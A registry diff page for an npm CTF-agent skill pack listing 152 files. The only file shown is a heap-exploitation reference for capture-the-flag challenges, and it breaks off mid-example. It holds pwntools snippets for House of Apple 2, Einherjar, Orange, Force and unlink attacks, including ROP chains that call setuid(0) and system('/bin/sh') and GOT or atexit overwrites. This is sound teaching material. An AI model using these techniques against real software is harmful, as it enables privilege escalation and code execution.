ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,513 @@
1
+ # CTF Pwn - Heap Techniques
2
+
3
+ ## Table of Contents
4
+ - [House of Apple 2 — FSOP for glibc 2.34+ (0xFun 2026)](#house-of-apple-2--fsop-for-glibc-234-0xfun-2026)
5
+ - [setcontext Variant for SUID Binaries (Midnight Flag 2026)](#setcontext-variant-for-suid-binaries-midnight-flag-2026)
6
+ - [House of Einherjar — Off-by-One Null Byte (0xFun 2026)](#house-of-einherjar--off-by-one-null-byte-0xfun-2026)
7
+ - [Heap Exploitation](#heap-exploitation)
8
+ - [Heap Grooming via Application Operations (Codegate 2013)](#heap-grooming-via-application-operations-codegate-2013)
9
+ - [Custom Allocator Exploitation](#custom-allocator-exploitation)
10
+ - [talloc Pool Header Forgery for Arbitrary Read/Write (Boston Key Party 2016)](#talloc-pool-header-forgery-for-arbitrary-readwrite-boston-key-party-2016)
11
+ - [Classic Heap Unlink Attack (Crypto-Cat)](#classic-heap-unlink-attack-crypto-cat)
12
+ - [musl libc Heap Exploitation — Meta Pointer + atexit (UNbreakable 2026)](#musl-libc-heap-exploitation--meta-pointer--atexit-unbreakable-2026)
13
+ - [House of Orange](#house-of-orange)
14
+ - [House of Spirit](#house-of-spirit)
15
+ - [House of Lore](#house-of-lore)
16
+ - [House of Force (CSAW CTF 2016)](#house-of-force-csaw-ctf-2016)
17
+ - [tcache Stashing Unlink Attack](#tcache-stashing-unlink-attack)
18
+ - [Unsafe Unlink to BSS + Top Chunk Consolidation (SECCON 2016)](#unsafe-unlink-to-bss--top-chunk-consolidation-seccon-2016)
19
+
20
+ For CTF-specific UAF, tcache, and custom-allocator writeup variants — UAF vtable pointer encoding, uninitialized chunk residue leak, tcache strcpy null-byte overflow, adjacent-struct fn-pointer overflow, hidden menu tcache poisoning, tcache double-free stdout hijack, tcache-to-fastbin promotion, 6-bit OOB accumulator, IS_MMAPED bit-flip, filename-regex LSB fastbin, and custom-allocator unsafe unlink — see [heap-techniques-2.md](heap-techniques-2.md).
21
+
22
+ For FILE-structure (_IO_FILE) exploitation — fastbin stdout vtable hijack, _IO_buf_base null-byte overwrite, glibc 2.24+ vtable validation bypass, unsorted-bin attacks on stdin FILE fields, realloc-as-free UAF, and refcount wraparound — see [heap-fsop.md](heap-fsop.md).
23
+
24
+ ---
25
+
26
+ ## House of Apple 2 — FSOP for glibc 2.34+ (0xFun 2026)
27
+
28
+ **When to use:** Modern glibc (2.34+) removed `__free_hook`/`__malloc_hook`. House of Apple 2 uses FSOP via `_IO_wfile_jumps`.
29
+
30
+ **Full chain:** UAF → leak libc (unsorted bin fd/bk) → leak heap (safe-linking mangled NULL) → tcache poisoning to `_IO_list_all` → fake FILE → exit triggers shell.
31
+
32
+ **Fake FILE structure requirements:**
33
+ ```python
34
+ fake_file = flat({
35
+ 0x00: b' sh\x00', # _flags = " sh\x00" (fp starts with " sh")
36
+ 0x20: p64(0), # _IO_write_base = 0
37
+ 0x28: p64(1), # _IO_write_ptr = 1 (> _IO_write_base)
38
+ 0x88: p64(heap_addr), # _lock (valid writable address)
39
+ 0xa0: p64(wide_data_addr), # _wide_data pointer
40
+ 0xd8: p64(io_wfile_jumps), # vtable = _IO_wfile_jumps
41
+ }, filler=b'\x00')
42
+
43
+ fake_wide_data = flat({
44
+ 0x18: p64(0), # _IO_write_base = 0
45
+ 0x30: p64(0), # _IO_buf_base = 0
46
+ 0xe0: p64(fake_wide_vtable), # _wide_vtable
47
+ })
48
+
49
+ fake_wide_vtable = flat({
50
+ 0x68: p64(libc.sym.system), # __doallocate offset
51
+ })
52
+ ```
53
+
54
+ **Trigger chain:** `exit()` → `_IO_flush_all_lockp` → `_IO_wfile_overflow` → `_IO_wdoallocbuf` → `_IO_WDOALLOCATE(fp)` → `system(fp)` where fp = `" sh\x00..."`.
55
+
56
+ **Safe-linking (glibc 2.32+):** tcache fd pointers are mangled: `fd = ptr ^ (chunk_addr >> 12)`. To poison tcache:
57
+ ```python
58
+ # When writing to freed chunk, mangle the target address:
59
+ mangled_fd = target_addr ^ (current_chunk_addr >> 12)
60
+ ```
61
+
62
+ ### setcontext Variant for SUID Binaries (Midnight Flag 2026)
63
+
64
+ When exploiting SUID-root binaries, `system("/bin/sh")` fails because dash drops privileges when `uid != euid`. Replace the `system(fp)` target with `setcontext(fp)` to pivot to a ROP chain that calls `setuid(0)` first:
65
+
66
+ ```python
67
+ # Wide vtable targets setcontext instead of system
68
+ fake_wide_vtable = flat({
69
+ 0x68: p64(libc.sym.setcontext + 61), # __doallocate → setcontext
70
+ })
71
+
72
+ # setcontext loads registers from offsets relative to RDX (which points to fp->_wide_data):
73
+ # RSP from [rdx+0xa0], RIP from [rdx+0xa8], RDI from [rdx+0x68]
74
+ # Place ROP chain at _wide_data structure:
75
+ fake_wide_data = flat({
76
+ 0x18: p64(0), # _IO_write_base = 0
77
+ 0x30: p64(0), # _IO_buf_base = 0
78
+ 0x68: p64(0), # RDI = 0 (for setuid(0))
79
+ 0xa0: p64(rop_chain_addr), # RSP = pivot to ROP chain
80
+ 0xa8: p64(libc.sym.setuid), # RIP = setuid as first call
81
+ 0xe0: p64(fake_wide_vtable_addr), # _wide_vtable
82
+ })
83
+
84
+ # ROP chain at rop_chain_addr:
85
+ rop = flat([
86
+ pop_rdi_ret,
87
+ libc.address + 0, # After setuid(0) returns here
88
+ # ... additional setup ...
89
+ libc.sym.system,
90
+ next(libc.search(b"/bin/sh\x00")),
91
+ ])
92
+ ```
93
+
94
+ **Trigger chain:** `exit()` → `_IO_wfile_overflow` → `_IO_wdoallocbuf` → `setcontext(fp)` → stack pivot → `setuid(0)` → `system("/bin/sh")`.
95
+
96
+ **Key insight:** `setcontext` is a universal stack pivot gadget — it loads RSP, RDI, and RIP from controlled memory, enabling arbitrary ROP execution from a FILE-based exploit. Essential for SUID binaries where dash enforces `uid == euid`.
97
+
98
+ ---
99
+
100
+ ## House of Einherjar — Off-by-One Null Byte (0xFun 2026)
101
+
102
+ **Vulnerability:** Off-by-one NUL at end of `malloc_usable_size` clears `PREV_INUSE` of next chunk.
103
+
104
+ **Exploit chain:**
105
+ 1. Set `prev_size` of next chunk to create fake backward consolidation
106
+ 2. Forge largebin-style chunk with `fd/bk` AND `fd_nextsize/bk_nextsize` all pointing to self (passes `unlink_chunk()`)
107
+ 3. After consolidation, overlapping chunks enable tcache poisoning
108
+ 4. Overwrite `stdout` or `_IO_list_all` for FSOP
109
+
110
+ **Key requirement:** Self-pointing unlink trick is essential. The fake chunk must pass `unlink_chunk()` which checks `FD->bk == P && BK->fd == P` and (for large chunks) `fd_nextsize->bk_nextsize == P && bk_nextsize->fd_nextsize == P`:
111
+
112
+ ```python
113
+ # Fake chunk layout (at known heap address fake_addr):
114
+ # chunk header:
115
+ # prev_size: don't care
116
+ # size: target_size | PREV_INUSE (must match consolidation math)
117
+ # fd: fake_addr (self-referencing)
118
+ # bk: fake_addr (self-referencing)
119
+ # fd_nextsize: fake_addr (self-referencing, needed for large chunks)
120
+ # bk_nextsize: fake_addr (self-referencing)
121
+
122
+ fake_chunk = flat({
123
+ 0x00: p64(0), # prev_size
124
+ 0x08: p64(target_size | 1), # size with PREV_INUSE set
125
+ 0x10: p64(fake_addr), # fd -> self
126
+ 0x18: p64(fake_addr), # bk -> self
127
+ 0x20: p64(fake_addr), # fd_nextsize -> self
128
+ 0x28: p64(fake_addr), # bk_nextsize -> self
129
+ }, filler=b'\x00')
130
+
131
+ # Victim chunk's prev_size must equal distance from fake_chunk to victim
132
+ # Off-by-one NUL clears victim's PREV_INUSE bit
133
+ # free(victim) triggers backward consolidation: merges with fake_chunk
134
+ # Result: consolidated chunk overlaps other live allocations
135
+ ```
136
+
137
+ **Setup sequence:**
138
+ 1. Allocate chunks A (large, will hold fake chunk), B (filler), C (victim with off-by-one)
139
+ 2. Write fake chunk into A with self-referencing pointers
140
+ 3. Trigger off-by-one on C to clear B's PREV_INUSE and set B's prev_size
141
+ 4. Free B → consolidates backward into A → overlapping chunk
142
+ 5. Allocate over the overlap region to control other live chunks
143
+
144
+ ---
145
+
146
+ ## Heap Exploitation
147
+
148
+ - tcache poisoning (glibc 2.26+)
149
+ - fastbin dup / double free
150
+ - House of Force (old glibc)
151
+ - Unsorted bin attack
152
+ - Check glibc version: `strings libc.so.6 | grep GLIBC`
153
+
154
+ **Heap info leaks via uninitialized memory:**
155
+ - Error messages outputting user data may include freed chunk metadata
156
+ - Freed chunks contain libc pointers (fd/bk in unsorted bin)
157
+ - Missing null-termination in sprintf/strcpy leaks adjacent memory
158
+ - Trigger error conditions to leak libc/heap base addresses
159
+
160
+ **Heap feng shui:**
161
+ - Arrange heap layout by controlling allocation order/sizes
162
+ - Create holes of specific sizes by allocating then freeing
163
+ - Place target structures adjacent to overflow source
164
+ - Use spray patterns with incremental offsets (e.g., 0x200 steps)
165
+
166
+ ### Heap Grooming via Application Operations (Codegate 2013)
167
+
168
+ **Pattern:** Multi-step application-level operations (create/reply/delete in a board, forum, or note app) to achieve controlled heap state for exploitation.
169
+
170
+ **Technique:**
171
+ 1. Create N entries with overflow payloads in author/title/content fields
172
+ 2. Fill reply buffers for each entry (e.g., 127 replies of `"sh"`) to place controlled data at predictable heap locations
173
+ 3. Selectively delete entries to create specific heap holes
174
+ 4. Allocate new entries that land in freed chunks, overlapping with surviving metadata
175
+
176
+ ```python
177
+ # Example: Codegate 2013 Vuln 400 — board-based heap grooming
178
+ # Step 1: Create 7 posts with overflow in content field
179
+ for i in range(7):
180
+ create_post("YOLO", "YOLO",
181
+ "A" * 36 + pack("I", got_addr) + # Author overflow
182
+ "A" * 604 + pack("I", got_addr) + # Content overflow
183
+ pack("I", plt_addr) * 80) # Spray GOT targets
184
+
185
+ # Step 2: Fill reply buffers to heap-spray "sh" strings
186
+ for i in range(7):
187
+ for j in range(127):
188
+ reply_to_post(i, "sh")
189
+
190
+ # Step 3: Delete 5 of 7 to create specific heap holes
191
+ for i in [0, 1, 2, 3, 4]:
192
+ delete_post(i)
193
+
194
+ # Step 4: Allocate 2 new entries into freed space
195
+ create_post(payload_a, payload_b, payload_c)
196
+ create_post(payload_d, payload_e, payload_f)
197
+
198
+ # Step 5: Trigger via modify + delete sequence
199
+ modify_post(target_id, trigger_payload)
200
+ delete_post(target_id) # Triggers GOT overwrite → shell
201
+ ```
202
+
203
+ **Key insight:** Application operations (create, reply, delete, modify) map to heap allocations and frees of predictable sizes. By controlling the sequence and count of operations, you achieve the same effect as direct heap manipulation but through the application's own interface.
204
+
205
+ ## Custom Allocator Exploitation
206
+
207
+ Applications may use custom allocators (nginx pools, Apache apr, game engines):
208
+
209
+ **nginx pool structure:**
210
+ - Pools chain allocations with destructor callbacks
211
+ - `ngx_destroy_pool()` iterates cleanup handlers
212
+ - Overflow to overwrite destructor function pointer + argument
213
+ - When pool freed, calls `system(controlled_string)`
214
+
215
+ **General approach:**
216
+ 1. Reverse engineer allocator metadata layout
217
+ 2. Find destructor/callback pointers in structures
218
+ 3. Overflow to corrupt pointer + first argument
219
+ 4. Trigger deallocation to call controlled function
220
+
221
+ ```python
222
+ # nginx pool exploit pattern
223
+ payload = flat({
224
+ 0x00: cmd * (0x800 // len(cmd)), # Command string
225
+ 0x800: [libc.sym.system, HEAP + OFF] * 0x80, # Destructor spray
226
+ 0x1010: [0x1020, 0x1011], # Pool metadata
227
+ 0x1010+0x50: [HEAP + OFF + 0x800] # Cleanup handler ptr
228
+ }, length=0x1200)
229
+ ```
230
+
231
+ ### talloc Pool Header Forgery for Arbitrary Read/Write (Boston Key Party 2016)
232
+
233
+ **Pattern:** talloc is a hierarchical memory allocator (used in Samba, CUPS, etc.). Forge fake pool headers with controlled fields to redirect allocations to arbitrary addresses.
234
+
235
+ ```c
236
+ // talloc pool header fields: end, object_count, hdr_fill
237
+ // followed by talloc_chunk: next, prev, parent, child, refs, name, size, flags, pool
238
+ // Set pool boundaries to span target address
239
+ // Next allocation returns attacker-controlled address
240
+ // Read GOT for libc leak, write __free_hook with system()
241
+ ```
242
+
243
+ **Exploitation steps:**
244
+ 1. Leak heap address through application data
245
+ 2. Forge talloc pool header with `end` pointing past target address
246
+ 3. Next `talloc()` call returns memory at attacker-chosen location
247
+ 4. Use arbitrary read (GOT) for libc leak, arbitrary write for hook overwrite
248
+
249
+ **Key insight:** Custom allocator pool metadata controls where future allocations land. When applications use talloc, pool header forgery provides arbitrary memory placement. The hierarchical parent/child structure means corrupting one header cascades through the allocation tree.
250
+
251
+ **References:** Boston Key Party 2016
252
+
253
+ ## Classic Heap Unlink Attack (Crypto-Cat)
254
+
255
+ **When to use:** Old glibc (< 2.26, no tcache) or educational heap challenges. Overflow one heap chunk's metadata to corrupt the next chunk's `prev_size` and `size` fields, then trigger an unlink during `free()` that writes an arbitrary value to an arbitrary address.
256
+
257
+ **How dlmalloc unlink works:**
258
+ ```c
259
+ // When free() consolidates with an adjacent free chunk:
260
+ // FD = P->fd, BK = P->bk
261
+ // FD->bk = BK (write BK to FD + offset)
262
+ // BK->fd = FD (write FD to BK + offset)
263
+ // This is a write-what-where primitive
264
+ ```
265
+
266
+ **Exploit pattern:**
267
+ 1. Allocate two adjacent chunks (A and B)
268
+ 2. Overflow A's data into B's chunk header:
269
+ - Set B's `prev_size` to A's data size (fake "previous chunk is free")
270
+ - Clear B's `PREV_INUSE` bit in `size` field
271
+ - Craft fake `fd` and `bk` pointers in A's data area
272
+ 3. Free B → `free()` thinks A is also free, triggers backward consolidation → unlink on fake chunk
273
+
274
+ ```python
275
+ from pwn import *
276
+
277
+ # Fake chunk in A's data region
278
+ fake_fd = target_addr - 0x18 # GOT entry - 3*sizeof(ptr)
279
+ fake_bk = target_addr - 0x10 # GOT entry - 2*sizeof(ptr)
280
+
281
+ # Overflow from A into B's header
282
+ payload = p64(0) # fake prev_size for A
283
+ payload += p64(data_size) # fake size for A (marks A as "free")
284
+ payload += p64(fake_fd) # fd pointer
285
+ payload += p64(fake_bk) # bk pointer
286
+ payload += b'A' * (data_size - 32) # fill A's data
287
+ payload += p64(data_size) # overwrite B's prev_size
288
+ payload += p64(b_size & ~1) # overwrite B's size, clear PREV_INUSE bit
289
+
290
+ # After free(B): target_addr now contains a pointer we control
291
+ ```
292
+
293
+ **Modern mitigations:** glibc 2.26+ added safe-unlinking checks (`FD->bk == P && BK->fd == P`). For modern heaps, use tcache poisoning, House of Apple 2, or House of Einherjar instead.
294
+
295
+ **Key insight:** The unlink macro performs two pointer writes. By controlling `fd` and `bk` in a fake chunk, you get a constrained write-what-where: each location gets the other's value. Classic use: overwrite a GOT entry with the address of a win function or shellcode.
296
+
297
+ ---
298
+
299
+ ## musl libc Heap Exploitation — Meta Pointer + atexit (UNbreakable 2026)
300
+
301
+ **Pattern (atypical-heap):** Binary linked against musl libc (not glibc). musl's allocator uses `meta` structures instead of chunk headers. OOB read leaks `meta->mem` pointer; arbitrary write redirects allocation to controlled address.
302
+
303
+ **musl allocator layout:**
304
+ - Each allocation belongs to a `group`, managed by a `meta` struct
305
+ - `meta->mem` points to the group's data region
306
+ - First `0x70`-class allocation places `meta0->mem` at a fixed offset from PIE base (e.g., `chall_base + 0x3f20`)
307
+
308
+ **Exploitation chain:**
309
+ 1. **Leak meta pointer** — OOB read at offset `0x80` from a heap allocation reads the `meta` struct pointer
310
+ 2. **Recover PIE base** — `meta0->mem` is at a fixed offset from the binary base
311
+ 3. **Redirect allocation** — Overwrite `meta->mem` to point at a live group or target address. Next allocation from that group returns attacker-controlled memory
312
+ 4. **atexit hijack** — Overwrite musl's `atexit` handler list with `system("cat flag")`. Normal program exit triggers code execution
313
+
314
+ ```python
315
+ # Leak meta pointer via OOB read
316
+ meta_ptr = leak_at_offset(0x80)
317
+ pie_base = meta_ptr - 0x3f20 # fixed offset for first 0x70 allocation
318
+
319
+ # Rewrite meta->mem to redirect future allocations
320
+ write_at(meta_ptr + META_MEM_OFFSET, target_addr)
321
+
322
+ # Next alloc returns target_addr — use to overwrite atexit handlers
323
+ alloc_and_write(atexit_list_addr, system_addr, "cat flag")
324
+ ```
325
+
326
+ **Key insight:** musl's allocator metadata (`meta` structs) is stored separately from heap data, but predictable offsets link them to the binary base. Unlike glibc, musl has no safe-linking or tcache — corrupting `meta->mem` gives direct allocation control. The `atexit` handler list is a simpler code execution target than glibc's `__free_hook` (which is removed in 2.34+).
327
+
328
+ **Detection:** Binary uses musl libc (check `ldd`, or `strings binary | grep musl`). Menu-style heap challenges with read/write primitives.
329
+
330
+ ---
331
+
332
+ ## House of Orange
333
+
334
+ **Pattern:** Trigger unsorted bin allocation without calling `free()`. Overwrite the top chunk size to a small value via heap overflow. Next large allocation fails the top chunk, forces `sysmalloc` to free the old top chunk into unsorted bin. Then corrupt the freed chunk for FSOP or tcache attack.
335
+
336
+ ```python
337
+ # Step 1: Overflow to corrupt top chunk size
338
+ # Top chunk must have PREV_INUSE set and size aligned to page
339
+ # Size must be < MINSIZE away from page boundary
340
+ edit(0, b'A' * overflow_len + p64(0xc01)) # Fake small top chunk
341
+
342
+ # Step 2: Request larger than corrupted top size
343
+ # Forces sysmalloc → old top freed into unsorted bin
344
+ add(0x1000, b'B') # Triggers the free
345
+
346
+ # Step 3: Unsorted bin attack or FSOP from here
347
+ # Overwrite _IO_list_all via unsorted bin's bk pointer
348
+ ```
349
+
350
+ **Key insight:** House of Orange creates a free chunk without ever calling `free()` — essential when the binary has no delete/free functionality. The corrupted top chunk size must satisfy: `(size & 0xFFF) == 0` (page-aligned end), `size >= MINSIZE`, and `PREV_INUSE` bit set.
351
+
352
+ **Requirements:** Heap overflow that can reach top chunk metadata. glibc < 2.26 for classic variant; modern versions need FSOP chain (House of Apple 2).
353
+
354
+ ---
355
+
356
+ ## House of Spirit
357
+
358
+ **Pattern:** Forge a fake chunk in attacker-controlled memory (stack, .bss, or heap), then `free()` it to get it into a bin. Next allocation of that size returns the fake chunk, giving write access to the target area.
359
+
360
+ ```python
361
+ # Forge fake fastbin chunk on the stack
362
+ # Need valid size field and next chunk's size for validation
363
+ fake_chunk = flat(
364
+ 0, # prev_size
365
+ 0x41, # size (0x40 + PREV_INUSE) — must match target fastbin
366
+ 0, 0, 0, 0, 0, 0, # data area (8 qwords for 0x40 chunk)
367
+ 0, # next chunk prev_size
368
+ 0x41, # next chunk size (passes free() validation)
369
+ )
370
+
371
+ # Write fake chunk address somewhere the binary will free()
372
+ # e.g., overwrite a pointer that gets passed to free()
373
+ overwrite_ptr(target_ptr, addr_of_fake_chunk + 0x10)
374
+
375
+ # Trigger free(target_ptr) → fake chunk enters fastbin
376
+ trigger_free()
377
+
378
+ # Next malloc(0x38) returns our fake chunk → write to controlled area
379
+ malloc_and_write(0x38, payload)
380
+ ```
381
+
382
+ **Key insight:** The key constraint is that `free()` validates the size of the chunk AND the size of the "next" chunk (at `chunk + size`). Both must look valid — sizes in fastbin range (0x20-0x80 on 64-bit), with proper alignment and flags.
383
+
384
+ ---
385
+
386
+ ## House of Lore
387
+
388
+ **Pattern:** Corrupt a smallbin chunk's `bk` pointer to point to a fake chunk in attacker-controlled memory. When the smallbin is used for allocation, the fake chunk gets linked into the bin. A second allocation returns the fake chunk, giving arbitrary write.
389
+
390
+ ```python
391
+ # Step 1: Free a chunk into smallbin (via unsorted bin → sorted)
392
+ free(chunk_a)
393
+ malloc(large_size) # Forces sorting: chunk_a moves to smallbin
394
+
395
+ # Step 2: Forge fake chunk in target area
396
+ # fake->fd must point back to the real smallbin chunk
397
+ # fake->bk must point to another valid-looking chunk (or same)
398
+ fake = flat(
399
+ 0, 0x91, # prev_size, size
400
+ addr_of_real_chunk, # fd → points back to legitimate chunk
401
+ addr_of_fake2, # bk → another fake or self
402
+ )
403
+
404
+ # Step 3: Overwrite chunk_a->bk to point to our fake chunk
405
+ edit_freed_chunk(chunk_a, bk=addr_of_fake)
406
+
407
+ # Step 4: Two allocations from this smallbin
408
+ alloc1 = malloc(0x80) # Returns chunk_a (legitimate)
409
+ alloc2 = malloc(0x80) # Returns our fake chunk → arbitrary write!
410
+ ```
411
+
412
+ **Key insight:** Requires corrupting `bk` of a freed smallbin chunk. The fake chunk's `fd` must point back to a chunk whose `bk` points to the fake — glibc checks `victim->bk->fd == victim`. On older glibc this check is weaker.
413
+
414
+ ---
415
+
416
+ ## House of Force (CSAW CTF 2016)
417
+
418
+ **Pattern:** Overwrite the wilderness (top) chunk's size field with a large value (e.g., `0xffffffffffffffff`), then request a carefully calculated allocation to move the heap pointer to an arbitrary address (e.g., GOT table).
419
+
420
+ ```python
421
+ from pwn import *
422
+
423
+ elf = ELF('./target')
424
+ libc = ELF('./libc.so.6')
425
+
426
+ # Step 1: Overflow into top chunk header, set size to -1 (0xffffffffffffffff)
427
+ add_card(-1, b'A' * 24 + p64(0xffffffffffffffff))
428
+
429
+ # Step 2: Calculate distance from top chunk to target (e.g., GOT entry)
430
+ # evil_size = target_address - current_top_chunk_ptr - metadata_size
431
+ target = elf.got['strtol']
432
+ evil_size = target - 16 - top_chunk_ptr
433
+
434
+ # Step 3: Allocate evil_size to advance top chunk pointer to target
435
+ add_card(evil_size - 25, b'')
436
+
437
